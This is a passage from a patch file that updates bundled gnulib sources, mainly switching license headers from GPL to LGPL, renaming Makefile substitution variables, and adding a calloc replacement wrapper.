++ -e 's/@''GNULIB_WCSCPY''@/$(GL_GNULIB_WCSCPY)/g' \
++ -e 's/@''GNULIB_WCPCPY''@/$(GL_GNULIB_WCPCPY)/g' \
++ -e 's/@''GNULIB_WCSNCPY''@/$(GL_GNULIB_WCSNCPY)/g' \
++ -e 's/@''GNULIB_WCPNCPY''@/$(GL_GNULIB_WCPNCPY)/g' \
++ -e 's/@''GNULIB_WCSCAT''@/$(GL_GNULIB_WCSCAT)/g' \
++ -e 's/@''GNULIB_WCSNCAT''@/$(GL_GNULIB_WCSNCAT)/g' \
++ -e 's/@''GNULIB_WCSCMP''@/$(GL_GNULIB_WCSCMP)/g' \
++ -e 's/@''GNULIB_WCSNCMP''@/$(GL_GNULIB_WCSNCMP)/g' \
++ -e 's/@''GNULIB_WCSCASECMP''@/$(GL_GNULIB_WCSCASECMP)/g' \
++ -e 's/@''GNULIB_WCSNCASECMP''@/$(GL_GNULIB_WCSNCASECMP)/g' \
++ -e 's/@''GNULIB_WCSCOLL''@/$(GL_GNULIB_WCSCOLL)/g' \
++ -e 's/@''GNULIB_WCSXFRM''@/$(GL_GNULIB_WCSXFRM)/g' \
++ -e 's/@''GNULIB_WCSDUP''@/$(GL_GNULIB_WCSDUP)/g' \
++ -e 's/@''GNULIB_WCSCHR''@/$(GL_GNULIB_WCSCHR)/g' \
++ -e 's/@''GNULIB_WCSRCHR''@/$(GL_GNULIB_WCSRCHR)/g' \
++ -e 's/@''GNULIB_WCSCSPN''@/$(GL_GNULIB_WCSCSPN)/g' \
++ -e 's/@''GNULIB_WCSSPN''@/$(GL_GNULIB_WCSSPN)/g' \
++ -e 's/@''GNULIB_WCSPBRK''@/$(GL_GNULIB_WCSPBRK)/g' \
++ -e 's/@''GNULIB_WCSSTR''@/$(GL_GNULIB_WCSSTR)/g' \
++ -e 's/@''GNULIB_WCSTOK''@/$(GL_GNULIB_WCSTOK)/g' \
++ -e 's/@''GNULIB_WCSWIDTH''@/$(GL_GNULIB_WCSWIDTH)/g' \
++ -e 's/@''GNULIB_WCSFTIME''@/$(GL_GNULIB_WCSFTIME)/g' \
++ -e 's/@''GNULIB_MDA_WCSDUP''@/$(GL_GNULIB_MDA_WCSDUP)/g' \
+ < $(srcdir)/wchar.in.h | \
+ sed -e 's|@''HAVE_WINT_T''@|$(HAVE_WINT_T)|g' \
+ -e 's|@''HAVE_BTOWC''@|$(HAVE_BTOWC)|g' \
+@@ -2222,14 +2338,14 @@ wctype.h: wctype.in.h $(top_builddir)/co
+ -e 's|@''PRAGMA_COLUMNS''@|@PRAGMA_COLUMNS@|g' \
+ -e 's|@''NEXT_WCTYPE_H''@|$(NEXT_WCTYPE_H)|g' \
+ -e 's/@''HAVE_CRTDEFS_H''@/$(HAVE_CRTDEFS_H)/g' \
+- -e 's/@''GNULIB_OVERRIDES_WINT_T''@/$(GNULIB_OVERRIDES_WINT_T)/g' \
+- -e 's/@''GNULIB_ISWBLANK''@/$(GNULIB_ISWBLANK)/g' \
+- -e 's/@''GNULIB_ISWDIGIT''@/$(GNULIB_ISWDIGIT)/g' \
+- -e 's/@''GNULIB_ISWXDIGIT''@/$(GNULIB_ISWXDIGIT)/g' \
+- -e 's/@''GNULIB_WCTYPE''@/$(GNULIB_WCTYPE)/g' \
+- -e 's/@''GNULIB_ISWCTYPE''@/$(GNULIB_ISWCTYPE)/g' \
+- -e 's/@''GNULIB_WCTRANS''@/$(GNULIB_WCTRANS)/g' \
+- -e 's/@''GNULIB_TOWCTRANS''@/$(GNULIB_TOWCTRANS)/g' \
++ -e 's/@''GNULIBHEADERS_OVERRIDE_WINT_T''@/$(GNULIBHEADERS_OVERRIDE_WINT_T)/g' \
++ -e 's/@''GNULIB_ISWBLANK''@/$(GL_GNULIB_ISWBLANK)/g' \
++ -e 's/@''GNULIB_ISWDIGIT''@/$(GL_GNULIB_ISWDIGIT)/g' \
++ -e 's/@''GNULIB_ISWXDIGIT''@/$(GL_GNULIB_ISWXDIGIT)/g' \
++ -e 's/@''GNULIB_WCTYPE''@/$(GL_GNULIB_WCTYPE)/g' \
++ -e 's/@''GNULIB_ISWCTYPE''@/$(GL_GNULIB_ISWCTYPE)/g' \
++ -e 's/@''GNULIB_WCTRANS''@/$(GL_GNULIB_WCTRANS)/g' \
++ -e 's/@''GNULIB_TOWCTRANS''@/$(GL_GNULIB_TOWCTRANS)/g' \
+ -e 's/@''HAVE_ISWBLANK''@/$(HAVE_ISWBLANK)/g' \
+ -e 's/@''HAVE_ISWCNTRL''@/$(HAVE_ISWCNTRL)/g' \
+ -e 's/@''HAVE_WCTYPE_T''@/$(HAVE_WCTYPE_T)/g' \
+--- a/gnulib/lib/_Noreturn.h
++++ b/gnulib/lib/_Noreturn.h
+@@ -2,16 +2,16 @@
+ Copyright (C) 2011-2021 Free Software Foundation, Inc.
+
+ This program is free software: you can redistribute it and/or modify it
+- under the terms of the GNU General Public License as published
+- by the Free Software Foundation; either version 3 of the License, or
++ under the terms of the GNU Lesser General Public License as published
++ by the Free Software Foundation; either version 2 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _Noreturn
+--- a/gnulib/lib/alloca.in.h
++++ b/gnulib/lib/alloca.in.h
+@@ -3,20 +3,18 @@
+ Copyright (C) 1995, 1999, 2001-2004, 2006-2021 Free Software Foundation,
+ Inc.
+
+- This program is free software; you can redistribute it and/or modify it
+- under the terms of the GNU General Public License as published
+- by the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
+- License along with this program; if not, see
+- <https://www.gnu.org/licenses/>.
+- */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Avoid using the symbol _ALLOCA_H here, as Bison assumes _ALLOCA_H
+ means there is a real alloca function. */
+--- a/gnulib/lib/arg-nonnull.h
++++ b/gnulib/lib/arg-nonnull.h
+@@ -2,16 +2,16 @@
+ Copyright (C) 2009-2021 Free Software Foundation, Inc.
+
+ This program is free software: you can redistribute it and/or modify it
+- under the terms of the GNU General Public License as published
+- by the Free Software Foundation; either version 3 of the License, or
++ under the terms of the GNU Lesser General Public License as published
++ by the Free Software Foundation; either version 2 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* _GL_ARG_NONNULL((n,...,m)) tells the compiler and static analyzer tools
+--- a/gnulib/lib/argz.c
++++ b/gnulib/lib/argz.c
+@@ -3,18 +3,18 @@
+ Foundation, Inc.
+ This file is part of the GNU C Library.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+
+--- a/gnulib/lib/argz.in.h
++++ b/gnulib/lib/argz.in.h
+@@ -3,17 +3,17 @@
+ Inc.
+ This file is part of the GNU C Library.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _ARGZ_H
+--- a/gnulib/lib/asnprintf.c
++++ b/gnulib/lib/asnprintf.c
+@@ -1,18 +1,18 @@
+ /* Formatted output to strings.
+ Copyright (C) 1999, 2002, 2006, 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+
+--- a/gnulib/lib/asprintf.c
++++ b/gnulib/lib/asprintf.c
+@@ -2,18 +2,18 @@
+ Copyright (C) 1999, 2002, 2006-2007, 2009-2021 Free Software Foundation,
+ Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+
+--- a/gnulib/lib/attribute.h
++++ b/gnulib/lib/attribute.h
+@@ -2,17 +2,17 @@
+
+ Copyright 2020-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify it
+- under the terms of the GNU General Public License as published
+- by the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Paul Eggert. */
+--- a/gnulib/lib/basename-lgpl.c
++++ b/gnulib/lib/basename-lgpl.c
+@@ -3,17 +3,17 @@
+ Copyright (C) 1990, 1998-2001, 2003-2006, 2009-2021 Free Software
+ Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/basename-lgpl.h
++++ b/gnulib/lib/basename-lgpl.h
+@@ -1,20 +1,20 @@
+-/* Extract the last component (base name) of a file name.
++/* Extract the last component (base name) of a file name.
+
+- Copyright (C) 1998, 2001, 2003-2006, 2009-2021 Free Software Foundation,
+- Inc.
++ Copyright (C) 1998, 2001, 2003-2006, 2009-2021 Free Software Foundation,
++ Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
+- but WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ This file is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program. If not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _BASENAME_LGPL_H
+ #define _BASENAME_LGPL_H
+--- a/gnulib/lib/btowc.c
++++ b/gnulib/lib/btowc.c
+@@ -2,17 +2,17 @@
+ Copyright (C) 2008, 2010-2021 Free Software Foundation, Inc.
+ Written by Bruno Haible <bruno@clisp.org>, 2008.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/c++defs.h
++++ b/gnulib/lib/c++defs.h
+@@ -2,16 +2,16 @@
+ Copyright (C) 2010-2021 Free Software Foundation, Inc.
+
+ This program is free software: you can redistribute it and/or modify it
+- under the terms of the GNU General Public License as published
+- by the Free Software Foundation; either version 3 of the License, or
++ under the terms of the GNU Lesser General Public License as published
++ by the Free Software Foundation; either version 2 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _GL_CXXDEFS_H
+--- /dev/null
++++ b/gnulib/lib/calloc.c
+@@ -0,0 +1,55 @@
++/* calloc() function that is glibc compatible.
++ This wrapper function is required at least on Tru64 UNIX 5.1 and mingw.
++ Copyright (C) 2004-2007, 2009-2021 Free Software Foundation, Inc.
++
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
++
++ This file is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
++
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
++
++/* written by Jim Meyering and Bruno Haible */
++
++#include <config.h>
++
++/* Specification. */
++#include <stdlib.h>
++
++#include <errno.h>
++
++#include "xalloc-oversized.h"
++
++/* Call the system's calloc below. */
++#undef calloc
++
++/* Allocate and zero-fill an NxS-byte block of memory from the heap,
++ even if N or S is zero. */
++
++void *
++rpl_calloc (size_t n, size_t s)
++{
++ if (n == 0 || s == 0)
++ n = s = 1;
++
++ if (xalloc_oversized (n, s))
++ {
++ errno = ENOMEM;
++ return NULL;
++ }
++
++ void *result = calloc (n, s);
++
++#if !HAVE_MALLOC_POSIX
++ if (result == NULL)
++ errno = ENOMEM;
++#endif
++
++ return result;
++}
+--- a/gnulib/lib/cdefs.h
++++ b/gnulib/lib/cdefs.h
+@@ -2,16 +2,16 @@
+ This file is part of the GNU C Library.
+
+ The GNU C Library is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public
++ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+- version 3 of the License, or (at your option) any later version.
++ version 2.1 of the License, or (at your option) any later version.
+
+ The GNU C Library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
++ You should have received a copy of the GNU Lesser General Public
+ License along with the GNU C Library; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+@@ -259,10 +259,12 @@
+ # define __attribute_const__ /* Ignore */
+ #endif
+
+-#if defined __STDC_VERSION__ && 201710L < __STDC_VERSION__
+-# define __attribute_maybe_unused__ [[__maybe_unused__]]
+-#elif __GNUC_PREREQ (2,7) || __glibc_has_attribute (__unused__)
++#if __GNUC_PREREQ (2,7) || __glibc_has_attribute (__unused__)
+ # define __attribute_maybe_unused__ __attribute__ ((__unused__))
++/* Once the next version of the C standard comes out, we can
++ do something like the following here:
++ #elif defined __STDC_VERSION__ && 202???L <= __STDC_VERSION__
++ # define __attribute_maybe_unused__ [[__maybe_unused__]] */
+ #else
+ # define __attribute_maybe_unused__ /* Ignore */
+ #endif
+@@ -320,7 +322,9 @@
+ #endif
+
+ /* The nonnull function attribute marks pointer parameters that
+- must not be NULL. */
++ must not be NULL. This has the name __nonnull in glibc,
++ and __attribute_nonnull__ in files shared with Gnulib to avoid
++ collision with a different __nonnull in DragonFlyBSD 5.9. */
+ #ifndef __attribute_nonnull__
+ # if __GNUC_PREREQ (3,3) || __glibc_has_attribute (__nonnull__)
+ # define __attribute_nonnull__(params) __attribute__ ((__nonnull__ params))
+@@ -485,9 +489,9 @@
+ [!!sizeof (struct { int __error_if_negative: (expr) ? 2 : -1; })]
+ #endif
+
+-/* The #ifndef lets Gnulib avoid including these on non-glibc
+- platforms, where the includes typically do not exist. */
+-#ifndef __WORDSIZE
++/* Gnulib avoids including these, as they don't work on non-glibc or
++ older glibc platforms. */
++#ifndef __GNULIB_CDEFS
+ # include <bits/wordsize.h>
+ # include <bits/long-double.h>
+ #endif
+--- a/gnulib/lib/cloexec.c
++++ b/gnulib/lib/cloexec.c
+@@ -2,20 +2,20 @@
+
+ Copyright (C) 1991, 2004-2006, 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program. If not, see <https://www.gnu.org/licenses/>.
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+- The code is taken from glibc/manual/llio.texi */
++/* The code is taken from glibc/manual/llio.texi */
+
+ #include <config.h>
+
+--- a/gnulib/lib/cloexec.h
++++ b/gnulib/lib/cloexec.h
+@@ -2,20 +2,18 @@
+
+ Copyright (C) 2004, 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program. If not, see <https://www.gnu.org/licenses/>.
+-
+-*/
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <stdbool.h>
+
+--- a/gnulib/lib/close.c
++++ b/gnulib/lib/close.c
+@@ -1,17 +1,17 @@
+ /* close replacement.
+ Copyright (C) 2008-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/dup2.c
++++ b/gnulib/lib/dup2.c
+@@ -2,17 +2,17 @@
+
+ Copyright (C) 1999, 2004-2007, 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* written by Paul Eggert */
+--- a/gnulib/lib/dynarray.h
++++ b/gnulib/lib/dynarray.h
+@@ -1,17 +1,17 @@
+ /* Type-safe arrays which grow dynamically.
+ Copyright 2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Paul Eggert and Bruno Haible, 2021. */
+@@ -257,18 +257,22 @@ static DYNARRAY_ELEMENT *
+
+ #if defined DYNARRAY_STRUCT || defined DYNARRAY_ELEMENT || defined DYNARRAY_PREFIX
+
+-# include <libc-config.h>
++# ifndef _GL_LIKELY
++/* Rely on __builtin_expect, as provided by the module 'builtin-expect'. */
++# define _GL_LIKELY(cond) __builtin_expect ((cond), 1)
++# define _GL_UNLIKELY(cond) __builtin_expect ((cond), 0)
++# endif
+
+ /* Define auxiliary structs and declare auxiliary functions, common to all
+ instantiations of dynarray. */
+-# include <malloc/dynarray.h>
++# include <malloc/dynarray.gl.h>
+
+ /* Define the instantiation, specified through
+ DYNARRAY_STRUCT
+ DYNARRAY_ELEMENT
+ DYNARRAY_PREFIX
+ etc. */
+-# include <malloc/dynarray-skeleton.c>
++# include <malloc/dynarray-skeleton.gl.h>
+
+ #else
+
+--- a/gnulib/lib/errno.in.h
++++ b/gnulib/lib/errno.in.h
+@@ -2,18 +2,18 @@
+
+ Copyright (C) 2008-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _@GUARD_PREFIX@_ERRNO_H
+
+--- a/gnulib/lib/error.c
++++ b/gnulib/lib/error.c
+@@ -2,17 +2,17 @@
+ Copyright (C) 1990-1998, 2000-2007, 2009-2021 Free Software Foundation, Inc.
+ This file is part of the GNU C Library.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by David MacKenzie <djm@gnu.ai.mit.edu>. */
+--- a/gnulib/lib/error.h
++++ b/gnulib/lib/error.h
+@@ -3,17 +3,17 @@
+ Inc.
+ This file is part of the GNU C Library.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _ERROR_H
+--- a/gnulib/lib/exitfail.c
